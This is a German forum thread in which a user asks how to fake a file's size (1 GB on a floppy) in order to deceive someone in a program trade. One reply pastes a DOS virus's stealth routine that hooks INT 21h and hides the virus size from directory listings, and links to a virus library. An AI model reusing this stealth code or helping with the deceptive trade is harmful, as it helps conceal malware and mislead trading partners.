Announcement

Collapse
No announcement yet.

Dateigröße manipulieren

Collapse
X
  • Filter
  • Time
  • Show
Clear All
new posts

  • Dateigröße manipulieren

    Ich suche nach einer Möglichkeit Windows vorzugaukeln, dass eine Datei eine bestimmte Größe besitzt, die physikalisch nicht gegeben ist.

    Ich möchte damit ein Programm tauschen und eine Datei auf 1 GB Größe setzen, die auf eine Diskette passt.

    Wie kann ich das machen ?

  • #2

    Comment


    • #3
      Ich muss es schaffen, dass Windows glaubt eine Datei sei größer als sie es wirklich ist.

      Windows prüft ja nicht durch einlesen die Größe einer Datei, also wie kann ich die Dateigröße ändern? (auf gigantische Größen)

      Comment


      • #4
        Hallo Robert,

        dass wird in Delphi wahrscheinlich unmöglich sein. Man muss dazu eine VxD schreiben (am besten in ASM) und das ist auch nicht ganz einfach.

        So in etwa sähe das ganze dann aus:

        <pre>
        ; Here it is... Method #1

        dir_stealth:
        pushf ;Fake an INT Call
        push cs ;Needed to return back HERE!
        call Int21Call ;Call the interrupt (See 'Int21_Handler')
        test al,al ;AL=00h if successful
        jnz no_good ;Not Successful. Errors Eg:No More Files

        push ax
        push bx ;Save them since they will be used! So when
        push es ;We exit all is restored to as Before!
        mov ah,51h ;(Undocmented) Gets the Current PSP and puts
        int 21h ;it into BX

        mov es,bx ;ES now has PSP segment Address
        cmp bx,es:[16h] ;Did we open a Good PSP?
        jnz exit_man ;No, PSP unavailable, Exit Dude
        mov bx,dx ;BX now points to the Original FCB in PSP
        mov al,[bx] ;AL now has the current drive
        push ax ;Save it to tell if its an Extended FCB
        mov ah,2fh ;Get DTA (Disk Transfer Address)
        int 21h
        ;Also before we start fiddling around we must know if we are working with
        ;And EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended
        ;Has three fields appended to the normal one... (Above)

        pop ax ; AL = FFh if Extended FCB or else Drive #
        inc al ; Will tell us if we have an Extended FCB
        jnz fcb_ok ; No, We don't continue as normal
        add bx,7h ; Yes, we do, add 7h to BX pointer
        fcb_ok: mov ax,es:[bx+17h] ;Gets Seconds Field
        and ax,1fh ;Unmask to have SECONDS only
        xor al,1dh ;is it 58 seconds? (1d * 2)
        jnz not_infected ;Nope, okay its not infected
        and byte ptr es:[bx+17h],0e0h ;Restores seconds
        sub es:[bx+1dh],virus_size ;Subtract FileSize with Virii
        sbb es:[bx+1fh],ax ;Needed to fix up Bytes with
        not_infected: ;Borrowing
        pop es ;Ciao, Ciao
        pop bx
        pop ax
        no_good:iret ;Pretend you came back from an Interrupt call!
        ;----------------------------The EnD---------------------------------
        </pre>
        <a href="http://vx.netlux.org/lib/vrs02.html">http://vx.netlux.org/lib/vrs02.html#1</a>

        Tschüss..

        Comment

        Working...
        X